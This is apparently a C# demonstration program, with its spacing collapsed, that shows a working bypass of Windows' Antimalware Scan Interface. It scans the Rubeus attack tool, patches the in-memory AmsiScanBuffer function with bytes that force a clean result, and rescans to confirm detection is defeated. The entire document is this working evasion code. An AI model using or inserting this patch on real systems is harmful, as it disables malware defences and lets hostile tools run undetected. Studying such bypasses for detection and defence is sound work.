usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Text;namespaceConsoleApp{classProgram {staticIntPtr _amsiContext;staticIntPtr _amsiSession;staticvoidMain(string[] args) {uint result; // Initialize the AMSI API. result =AmsiInitialize("Demo App",out _amsiContext); // Opens a session within which multiple scan requests can be correlated. result =AmsiOpenSession(_amsiContext,out _amsiSession); // Test sample //var sample = Encoding.UTF8.GetBytes(@"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*");var sample =File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe"); // Send sample to AMSIvar amsiResult =ScanBuffer(sample);Console.WriteLine($"Before patch: {amsiResult}");var modules =Process.GetCurrentProcess().Modules;var hAmsi =IntPtr.Zero;foreach (ProcessModule module in modules) {if (module.ModuleName.Equals("amsi.dll")) { hAmsi =module.BaseAddress;break; } }var asb =GetProcAddress(hAmsi,"AmsiScanBuffer");var patch =newbyte[] { 0xB8,0x57,0x00,0x07,0x80,0xC3 }; // Make region writable (0x40 == PAGE_EXECUTE_READWRITE)VirtualProtect(asb, (UIntPtr)patch.Length,0x40,outuint oldProtect); // Copy patch into asb regionMarshal.Copy(patch,0, asb,patch.Length); // Restore asb memory permissionsVirtualProtect(asb, (UIntPtr)patch.Length, oldProtect,outuint _); // Scan same sample again amsiResult =ScanBuffer(sample); Console.WriteLine($"After patch: {amsiResult}"); }staticstringScanBuffer(byte[] sample) {var result =AmsiScanBuffer( _amsiContext, sample, (uint)sample.Length,"Demo Sample",ref _amsiSession,outuint amsiResult);return amsiResult >=32768?"AMSI_RESULT_DETECTED":"AMSI_RESULT_NOT_DETECTED"; } [DllImport("kernel32.dll")]staticexternIntPtrGetProcAddress(IntPtr hModule,string procName); [DllImport("kernel32.dll")]staticexternboolVirtualProtect(IntPtr lpAddress,UIntPtr dwSize,uint flNewProtect,outuint lpflOldProtect); [DllImport("amsi.dll")]staticexternuintAmsiInitialize(string appName,outIntPtr amsiContext); [DllImport("amsi.dll")]staticexternuintAmsiOpenSession(IntPtr amsiContext,outIntPtr amsiSession); // The antimalware provider may return a result between 1 and 32767, inclusive, as an estimated risk level. // The larger the result, the riskier it is to continue with the content. // Any return result equal to or larger than 32768 is considered malware, and the content should be blocked. [DllImport("amsi.dll")]staticexternuintAmsiScanBuffer(IntPtr amsiContext,byte[] buffer,uint length,string contentName,refIntPtr amsiSession,outuint scanResult); }}